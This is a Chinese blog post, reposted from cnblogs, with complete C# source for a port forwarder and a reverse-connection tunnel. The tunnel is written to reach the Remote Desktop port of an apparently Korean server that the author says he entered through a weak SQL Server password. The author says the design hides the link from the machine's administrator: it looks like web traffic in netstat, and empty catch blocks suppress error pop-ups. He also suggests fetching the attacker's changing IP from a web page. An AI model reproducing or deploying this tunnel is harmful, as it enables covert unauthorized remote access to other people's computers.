C#端口转发程序代码详解
转自:http://www.cnblogs.com/mutuan
链接3389的时候
例子1:连接a机器的3389端口连不上,因为对方防火墙或者网关做了限制,只能访问a机器的个别端口比如80。
例子2:连接a机器的几乎所有端口都连不上(对方乃内网或者防火墙网关做了限制),只能1433上去,但是对方可以连接你的某些端口。
 
解决
第一种较简单,只需要程序在对方开80,你连接他80,程序收到数据后,发送到他本机的3389,同时从他3389收到数据后返回到你。程序就是一个中转站。
 
using System; using System.Net.Sockets; using System.Threading; namespace PortTransponder { class Program { static void Main(string[] args) { TcpListener tl = new TcpListener(80);//这里开对方可以被你连接并且未被占用的端口 tl.Start(); while (true)//这里必须用循环,可以接收不止一个客户,因为我发现终端服务有时一个端口不行就换一个端口重连 { //下面的意思就是一旦程序收到你发送的数据包后立刻开2个线程做中转 try { TcpClient tc1 = tl.AcceptTcpClient();//这里是等待数据再执行下边,不会100%占用cpu TcpClient tc2 = new TcpClient("localhost", 3389); tc1.SendTimeout = 300000;//设定超时,否则端口将一直被占用,即使失去连接 tc1.ReceiveTimeout = 300000; tc2.SendTimeout = 300000; tc2.ReceiveTimeout = 300000; object obj1 = (object)(new TcpClient[] { tc1, tc2 }); object obj2 = (object)(new TcpClient[] { tc2, tc1 }); ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1); ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2); } catch { } } } public static void transfer(object obj) { TcpClient tc1 = ((TcpClient[])obj)[0]; TcpClient tc2 = ((TcpClient[])obj)[1]; NetworkStream ns1 = tc1.GetStream(); NetworkStream ns2 = tc2.GetStream(); while (true) { try { //这里必须try catch,否则连接一旦中断程序就崩溃了,要是弹出错误提示让机主看见那就囧了 byte[] bt = new byte[10240]; int count = ns1.Read(bt, 0, bt.Length); ns2.Write(bt, 0, count); } catch { ns1.Dispose(); ns2.Dispose(); tc1.Close(); tc2.Close(); break; } } } } }
这样在对方机器执行和,直接mstsc /v:对方ip:80就能终端上去了
 
 
第二种稍微复杂一点,需要客户机和服务器2个程序,你在自己机器上开服务器端,在对方机器上执行客户端连接你的服务器端,一旦连接上你的服务器端再开个端口让终端程序连接,对方机器上客户端再开个端口连接他自己的3389,做2次中转就可以终端上去了。
具体流程
本机ip开8080端口
对方机器连接你的8080端口,比如端口是49908
连接成功后
你的机器再开一个比如9833端口
对方机器再开一个连接连接他自己的3389,比如端口是49909吧
好这时你用你的mstsc连接自己的 localhost:9833,数据包就从本机9833-本机8080-对方49908-对方49909-对方3389,对方3389的数据反着回来就行了。
//服务器端 using System; using System.Collections.Generic; using System.Net.Sockets; using System.Threading; namespace fanxiangserver { class Program { public static Dictionary<int, TcpClient> dic = new Dictionary<int, TcpClient>(); public static NetworkStream kongzhins = null; static void Main(string[] args) { ThreadPool.QueueUserWorkItem(new WaitCallback(start1)); ThreadPool.QueueUserWorkItem(new WaitCallback(start2)); WaitHandle.WaitAll(new ManualResetEvent[] { new ManualResetEvent(false) }); } public static void start1(object obj) { TcpListener tl = new TcpListener(8080);//开一个对方可以连接的端口,今天这棒子机器连他只能1433,其他连不上,他连别人只能80 8080 21 tl.Start(); while (true) { TcpClient tc = tl.AcceptTcpClient(); jieshou(tc); } } public static void start2(object obj) { TcpListener tl = new TcpListener(9833); //开一个随意端口让自己的mstsc连。 tl.Start(); while (true) { TcpClient tc = tl.AcceptTcpClient(); Random rnd = new Random(); int biaoji = rnd.Next(1000000000, 2000000000); dic.Add(biaoji, tc); byte[] bt = BitConverter.GetBytes(biaoji); kongzhins.Write(bt, 0, bt.Length); } } public static void jieshou(TcpClient tc) { //这里体现的是一个配对的问题,自己体会一下吧 NetworkStream ns = tc.GetStream(); byte[] bt = new byte[4]; int count = ns.Read(bt, 0, bt.Length); if (count == 2 && bt[0] == 0x6f && bt[1] == 0x6b) { kongzhins = ns; } else { int biaoji = BitConverter.ToInt32(bt, 0); lianjie(biaoji, tc); } } public static void lianjie(int biaoji, TcpClient tc1) { TcpClient tc2 = null; if (dic.ContainsKey(biaoji)) { dic.TryGetValue(biaoji, out tc2); dic.Remove(biaoji); tc1.SendTimeout = 300000; tc1.ReceiveTimeout = 300000; tc2.SendTimeout = 300000; tc2.ReceiveTimeout = 300000; object obj1 = (object)(new TcpClient[] { tc1, tc2 }); object obj2 = (object)(new TcpClient[] { tc2, tc1 }); ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1); ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2); } } public static void transfer(object obj) { TcpClient tc1 = ((TcpClient[])obj)[0]; TcpClient tc2 = ((TcpClient[])obj)[1]; NetworkStream ns1 = tc1.GetStream(); NetworkStream ns2 = tc2.GetStream(); while (true) { try { //这里必须try catch,否则连接一旦中断程序就崩溃了,要是弹出错误提示让机主看见那就囧了 byte[] bt = new byte[10240]; int count = ns1.Read(bt, 0, bt.Length); ns2.Write(bt, 0, count); } catch { ns1.Dispose(); ns2.Dispose(); tc1.Close(); tc2.Close(); break; } } } } }
//客户端 using System; using System.Text; using System.Net.Sockets; using System.Threading; namespace fanxiangclient { class Program { public static NetworkStream kongzhins = null; static void Main(string[] args) { try { TcpClient tc = new TcpClient("你的IP", 8080); kongzhins = tc.GetStream(); byte[] bt = Encoding.Default.GetBytes("ok");//这里发送一个连接提示 kongzhins.Write(bt, 0, bt.Length); jieshou(); WaitHandle.WaitAll(new ManualResetEvent[] { new ManualResetEvent(false) });//这里为什么要这样呢?我发现sqlserver执行是localsystem账号如果console.read()程序马上退出 } catch { } } public static void jieshou() { while (true) { byte[] bt = new byte[4]; kongzhins.Read(bt, 0, bt.Length); TcpClient tc1 = new TcpClient("你的IP", 8080); TcpClient tc2 = new TcpClient("localhost", 3389); tc1.SendTimeout = 300000; tc1.ReceiveTimeout = 300000; tc2.SendTimeout = 300000; tc2.ReceiveTimeout = 300000; tc1.GetStream().Write(bt, 0, bt.Length); object obj1 = (object)(new TcpClient[] { tc1, tc2 }); object obj2 = (object)(new TcpClient[] { tc2, tc1 }); ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj1); ThreadPool.QueueUserWorkItem(new WaitCallback(transfer), obj2); } } public static void transfer(object obj) { TcpClient tc1 = ((TcpClient[])obj)[0]; TcpClient tc2 = ((TcpClient[])obj)[1]; NetworkStream ns1 = tc1.GetStream(); NetworkStream ns2 = tc2.GetStream(); while (true) { try { byte[] bt = new byte[10240]; int count = ns1.Read(bt, 0, bt.Length); ns2.Write(bt, 0, count); } catch { ns1.Dispose(); ns2.Dispose(); tc1.Close(); tc2.Close(); break; } } } } }
 
好,这样你连接mstsc /v:localhost:9833,后数据就经过了好几转转到了对方的3389上。这样即使对方是内网也可以被终端了,而且好处是对方查看netstat -an看到的是这种东西
 
 
활성 연결
  프로토콜  로컬 주소           외부 주소              상태
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1433           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:5357           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49152          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49153          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49154          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49155          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49156          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49157          0.0.0.0:0              LISTENING
  TCP    他的IP:139             0.0.0.0:0              LISTENING
  TCP    他的IP:49908           我的IP:8080            ESTABLISHED
  TCP    [::]:135               [::]:0                 LISTENING
  TCP    [::]:445               [::]:0                 LISTENING
  TCP    [::]:3389              [::]:0                 LISTENING
  TCP    [::]:5357              [::]:0                 LISTENING
  TCP    [::]:49152             [::]:0                 LISTENING
  TCP    [::]:49153             [::]:0                 LISTENING
  TCP    [::]:49154             [::]:0                 LISTENING
  TCP    [::]:49155             [::]:0                 LISTENING
  TCP    [::]:49156             [::]:0                 LISTENING
  TCP    [::]:49157             [::]:0                 LISTENING
  TCP    [::1]:3389             [::1]:49909            ESTABLISHED
  TCP    [::1]:49909            [::1]:3389             ESTABLISHED
  UDP    0.0.0.0:123            *:*
  UDP    0.0.0.0:500            *:*
  UDP    0.0.0.0:1434           *:*
  UDP    0.0.0.0:3702           *:*
  UDP    0.0.0.0:3702           *:*
  UDP    0.0.0.0:4500           *:*
  UDP    0.0.0.0:5355           *:*
  UDP    0.0.0.0:64966          *:*
  UDP    他的IP:137             *:*
  UDP    他的IP:138             *:*
  UDP    [::]:123               *:*
  UDP    [::]:500               *:*
  UDP    [::]:3702              *:*
  UDP    [::]:3702              *:*
  UDP    [::]:5355              *:*
  UDP    [::]:64967             *:*
 
只能看到他的49908在连接我的8080,就像看网站一样,要是80就更像了,而49909连接3389一般注意不到,反正没有ip地址,这棒子想不到吧,他做的这么变态的限制都被终端上去了,起因就是sqlserver弱口令和权限,这个机器是win2008,i7 920的u,不明白棒子的网管为什么一点安全知识都没有,而且屡教不改,上次进去一看,那机器已经被国内黑克给x了n遍了,上边布满了木马,最后实在启动不了了,他重装了,结果那个sqlserver还是那个权限还是那个密码,服气吧。但是如果netstat -ano发现连我的pid和连3389的pid是一个那就可以发现了。
 
以上程序都是经我测试后非常ok的,但是没有经过优化,尤其是反向连接的,可以做成个服务是吧,或者连接的时候加个验证啦什么的,还有我的Ip地址也是变的,可以做成个服务,定时读取某一网页上我的新ip,告诉他连还是不连啦,什么的。而且还可以做成个http代理翻wall啦,总之花样是很多的。